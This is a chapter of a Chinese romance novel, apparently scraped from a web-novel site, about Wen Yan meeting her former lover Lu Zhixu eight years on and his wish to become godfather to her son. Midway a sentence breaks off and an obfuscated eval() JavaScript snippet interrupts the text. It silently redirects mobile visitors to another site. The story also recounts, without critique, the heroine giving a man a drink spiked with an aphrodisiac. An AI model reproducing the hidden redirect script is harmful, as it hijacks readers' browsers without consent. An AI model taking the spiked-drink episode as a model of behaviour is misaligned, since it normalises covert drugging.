他的气息很轻，自上而下漫过来，分明是温热的，却搀着雪松一样冷寂的味道。
羽毛似的，柔柔拂过温言发烫的脸颊。
这么多年过去了，她还是不能镇定自若地面对陆知序这张脸。
可真是没出息。
温言别开头去，咬着唇不愿再说话了。
她也不知自己该说些什么。
她怕陆知序追问，问她八年前的离开是为什么。
更怕他不问。
怎么都不对，索性闭嘴。
包厢没有开灯，一片昏暗中，那束偷偷吻她侧脸的夕阳，是唯一神迹。
被夕阳眷顾着的那一点儿，营营扰扰发起烫，痒刺刺地让人难受。
嵌金的橘红色泼洒开来，漂亮的小姑娘要融化在里头似的。
陆知序的黑眸温吞地吃着她。
她漂亮的眼睫眨一眨，就像春光里振翅欲飞的蝶。
纤细白皙的颈项又似世间最优雅的天鹅——很适合被握住。
像曾经被他爱怜而热忱地握住那样。
陆知序手指蜷了蜷，喉结难以名状地上下滚动。
瞧瞧，连他身体的一部分，都清晰记得她曾属于他的每一分，每一秒。
那这八年呢？这漂亮的颈项，有被别人握住过吗？
她也曾在别人的指间，红着眼啜泣着求饶，一叠声绵软地喊——“daddy”吗？
有的。
当然是有的。
不然怎么会有那个长得像她的小男孩儿。
陆知序倏地闭上眼，绵长而沉稳的呼吸，可喉咙里嗜血的渴意又不管不顾翻涌上来。
挡也挡不住。
温言被圈在他的怀里，他身上渡来的熟悉气息很像情人缠绵的拥抱。
但他们早就不是能拥抱的关系。
她瞳孔微微发颤，无助地靠在椅背之上，她每怯懦退缩一分，他便张扬进攻一寸，直到将她彻底锁在双臂之间。
这样亲密的距离。
无数个曾经的夜晚她跨坐在他的腿上，也是这样的距离。
他咬着她的耳垂，慢声哄。
哄她喊人，哄她叫他的名字，他则回以夸奖。
……
身体比情感更诚实地优先回想起面前这人带给过她的快乐。
温言半边身子都软了。
他却闭着眼戏弄她。
“我对你的企图，需要我身体力行证明给你看吗？”
温言混乱地移开眼，却触到他亮黑色皮带上。她略瑟缩了一下，好似被烫着似的，如同烟火在她眼前绽放开来。
绚烂让她一阵阵地晕眩。
陆知序恰在此时睁开眼。
他的眼不知为何也红了。
顺着她的视线下落，无数个荒唐的画面电光火石般闪念而过。
他们无比默契地想起从前，那些她被皮带温柔缚住的画面。
温言恨这不合时宜的默契。
陆知序衔着笑的嗓音果然响起来：“难道温小姐对我，多少也有一点儿企图？”
温言怔忪。
思绪有一瞬间被带回那一年的盛夏。
怎么会没有企图呢？
面前这人，温和疏离，好看得像古希腊神话里的神祇，将她从阴暗逼仄，潮湿闷热的旧世界里带出来，逃开那样的家庭，又给了她崭新的一切。
她承认，她从一开始就很想和他发生点什么。
这个危险的念头自十五岁那年初遇便在温言脑海中生根、发芽，直至十八岁夏天，贪心将它彻底催发成参天大树。
高考庆功宴上，陆淮交给她看好的那杯酒，温言很清楚里面放着什么。
那是陆淮用来和当时的女朋友助兴用的。
陆淮说得很明白。
事实上温言也很清楚自己是怎样端着酒，不回头地走到陆知序面前，撒娇蛮缠着哄她的“小叔叔”喝下的。
是了，那时她费尽心机进入陆家，借着自己可怜的身世成功当上了陆淮的家教，才终于能正大光明跟着陆淮喊陆知序一声“小叔叔”。
他们是如此禁忌的关系。
温言很清楚地知道自己打开了潘多拉的魔盒。
可对此她心甘情愿。
因为这就是她明明白白，想要坦承在太阳底下的企图。
她那长达三年晦涩阴暗的暗恋，终于可以在成人后的某一天，由她穿着最漂亮的白色连衣裙，将自己伪装成洁白无辜的，盛开在阳光下的小雏菊，半逼迫地让自己得到面前这个男人。
温言会一直记得那个夜晚，也永远记得后来陆知序一遍又一遍嗓音发颤的对不起。
“对不起，好姑娘。”
“对不起，温言。”
“对不起，宝贝。”
他觉得自己是个禽兽。
温言从他眼里的懊悔、愧疚、痛苦，和分明的情欲知晓了全部。
疼痛带来眼泪，逼着温言脸色发白，被汗濡湿的发涔涔的贴在她的脸颊。
温言知道自己瞧起来一定是脆弱的，被摧残的模样。
可温言从不觉得陆知序有什么好对不起她的。
——那分明是十八岁的她，得到了自己想要的。
只是此刻，二十六岁的温言，不再想要了而已。
她的眼神逐渐澄明过来。
陆知序却似乎比她更快清醒，他收回手，放开对她的桎梏。
“无论温小姐有什么企图，都不重要。”陆知序看着她的眼睛，温声道，“今天邀请你来，不过是因为——算命先生说我流年不利，需要认个干儿子。”
“替你挡灾？”温言一愣，因这理由过于荒唐而辨不清真假。
陆知序挑了挑眉：“不挡灾，属相相和，小朋友算我的贵人。”
温言被气笑了：“什么狗屁算命先生，微信推过来我问问呢！你是本命年，要找也不该找温衡这个属相的。”
“难为温小姐还记得我是本命年。”陆知序似笑非笑。
温言：……
真该让岳琴看看，什么才叫毒舌鼻祖，阴阳怪气的大家。
“傻子，你被骗了。”温言笃定道，说着划开手机，“陆先生要是信这个，我给你推个塔罗师，这些年我御用的，便宜好用，童叟无欺。想知道什么都能替您算算。至于温衡，您就别打他主意了。”
“原来叫温衡。”陆知序点点头，嗓音清疏，“真是个不错的名字。他父亲取的？”
温言下意识：“当然是我取的……”
见他一脸恍然的模样，温言险些咬着舌头，急忙改口道：“总之，谁取的都和你没关系，你别想做半分对他不好的事。”
“唔，这位能替市政府选址的大师多少也有几分本事。”
“大师说我得找个小孩儿，男的，最好是国外回来的——温衡几岁来着？要落户上小学了对吗？所以大师也说了，还得是今年七岁的小男孩儿。双赢，对我和小朋友都好。”
陆知序噙着笑，语气说不出的诚恳：“你瞧，我身边看了一圈，除了温衡，再没别人了。”
“温小姐打算什么时候让我们父子俩见一面？”
温言握着手机，被这番荒唐言语惊得眼睛圆溜溜的。
她不可置信地开口：“陆知序，你、你，你到底什么时候变得这么无耻了？”
“不多，不过学了温小姐三成。”
温言又被他慢条斯理轻飘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281384|166832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飘一句话气得自闭。
拎起包要走。
包厢阖上之前，回过头来，掷地有声：“没我同意之前，你不准见温衡，不然我跟你拼命。”
陆知序隐在黑暗里，看着她的背影失笑。
总算将小姑娘的壳撬开点儿了，他想。
说不清什么情绪。
温言走后，陆知序一直没动，慢慢等着空气里她的气息一点点淡了去。
正像过去很多个傍晚他做的那样。
直等到那束落日在房间内一点点偏移，桌上的菜逐渐失了热气儿。
陆知序终于打破沉默，哑声喊：“一白。”
李一白从包厢外进来，怀里抱着一沓资料。
“查得怎么样了？”
李一白：“还是只能找到读博期间的资料，不过这些年，温小姐一直是未婚状态。”
陆知序手指垂在桌面，轻轻敲响，良久，问：“那年我们去英国，见到的那位是？”
“沈隽。沪圈那边做港运的沈家次子，和温小姐是研究生时期的同学，比温小姐早几年回国。听说已经在接手家族生意了。”
李一白将怀里资料递过去。
陆知序没接。
“她读博前的资料呢，尤其是温衡刚出生那几年。”
李一白脸上浮现出为难的神色：“查不到，像被谁遮掩了。那几年我们一直以为温小姐在别的国家，错过的时间太久，够抹去很多痕迹了。”
“叫陆淮来。”
“找过了，关机不理人，好像是跟着迟风少爷去巴黎看秀了。”
陆知序冷了嗓音，像六月骤然飞起的雪。
“把陆淮卡停了。”他说。
李一白颔首应是，背上没来由惊出点儿汗。
-
温言到家的时候，温衡已经自己吃完饭了，正坐在沙发上看中央六台放的《龙猫》。
小短腿规规矩矩垂在沙发边，偶尔晃一晃，都很克制。
见到温言回来，温衡乖巧地打招呼：“妈咪，你今晚过得还好吗？”
温言心里酸酸涩涩的疼。
她走过去，将温衡抱了个满怀，胡乱揉着他的碎发。
温衡并不挣扎，任由她揉搓。
他很喜欢妈咪时不时的毒手。
这是她宣泄情绪的方式，这么多年，温衡已经很懂得了。
于是他等温言停下手，才安安静静地问：“妈咪，你不高兴吗？”
电视上正演到爸爸夸小梅找到森林主人那一段。
小梅的眼里都是欣喜，丝毫没有跑丢的自觉。她的爸爸也没有生气，反而一直在夸小梅。
温言看着温衡，温衡保持着在她怀里的姿势，目不转睛看电视。
这一幕让她鼻头有些酸，陆知序的脸鬼使神差在眼前闪过。
她迟疑了一会儿，还是问温衡：“温小衡，或许，你会想要个干爹吗？”
温衡立刻睁大了眼。
而后漂亮的瞳孔又一点点缩回去，他终于舍得偏过头看温言：“你是指哪种干爹？”
“就是能陪妈妈一起参加你学校家长会，在妈妈忙的时候可以送你去兴趣班——不上也行，你一个人时可以叫他来家里陪你画画的那种干爹。”
温衡眼睛亮了些，小星星似的眨着。
这是他开心时的表现。
温言几乎以为他立刻就要答应了。
可是温衡只是想了想，又慢吞吞问：“那干爹和妈咪是什么关系呢？是会讨妈咪喜欢的那种干爹吗？”
温言眼眶在一瞬间变得通红。
老天爷，她怎么可以欠温衡那么多。
看看她的十八岁，到底都犯了些什么错。